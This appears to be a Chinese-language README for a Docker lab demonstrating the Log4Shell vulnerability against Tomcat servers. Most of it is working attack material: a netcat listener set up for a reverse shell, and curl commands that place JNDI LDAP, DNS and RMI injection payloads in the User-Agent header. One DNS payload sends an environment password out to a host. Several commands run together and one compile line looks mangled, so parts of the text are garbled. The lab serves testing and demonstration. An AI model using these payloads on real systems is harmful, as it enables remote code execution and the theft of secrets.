
演示用的Tomcat 8服务器(端口8080)上部署了存在漏洞的应用程序(log4shell),并且该服务器也通过用户代理攻击方式存在漏洞。
本演示中的远程利用应用程序基于 https://github.com/kozmer/log4j-shell-poc 上的代码。
本演示用的Tomcat服务器(Tomcat 8.5.3,Java 1.8.0u51)已被重新配置为使用Log4J2进行日志记录——这是一种非标准配置。
现在端口8888上提供了一个更新的Bitnami服务器。它也配置为使用Log4J2进行日志记录,并运行Tomcat 9.0.55和OpenJDK 11.0.13。
针对Tomcat 9 / Java 11服务器的RMI利用方法详见:https://www.veracode.com/blog/research/exploiting-jndi-injections-java (2019年1月3日),作者Michael Stepankin。
检测脚本会检查用户代理漏洞,来源于:https://gist.github.com/byt3bl33d3r/46661bc206d323e6770907d259e009b6
本代码需要Docker和Docker Compose。
git clone https://github.com/cyberxml/log4j-poc
cd log4j-poc
# 编辑 docker-compose.yml 以根据需要调整环境变量。
# POC_ADDR 是 cve-poc 容器的地址
# LISTENER_ADDR 是 'nc' 监听器的地址,例如 Docker 主机
# 监听器IP地址是您将运行 netcat 'nc' 监听器的机器的地址
# 这可以是 Docker 主机的本地IP。
docker-compose build
nc -lv 10.10.10.31 9001docker-compose upadminpassword${jndi:ldap://172.16.238.11:1389/a}nc监听器是否有连接nc -lv 10.10.10.31 9001docker-compose upcurl -A "\${jndi:ldap://172.16.238.11:1389/a}" http://10.10.10.31:8080/log4shelldocker-compose upcurl -A "\${jndi:dns://10.10.10.31/\${env:POC_PASSWORD}}" http://10.10.10.31:8888/log4shell/我在指定ping目标的命令行参数时遇到问题。因此您需要自行编译。
docker-compose updocker exec -it log4j-poc_cve-poc_1 /bin/bashcd /home/user/rmi-pocjavac -cp catalina.jar:. RMIServerPOC.javajavac -cp catalina.jar:. RMIServerPOC 127.0.0.1docker-compose upcurl -A "\${jndi:rmi://172.16.238.11:1097/Object}" http://10.10.10.31:8888/python3 log4j_rce_check.py http://10.10.10.31:8080/log4shell --attacker-host 10.10.10.31:11389 --timeout=2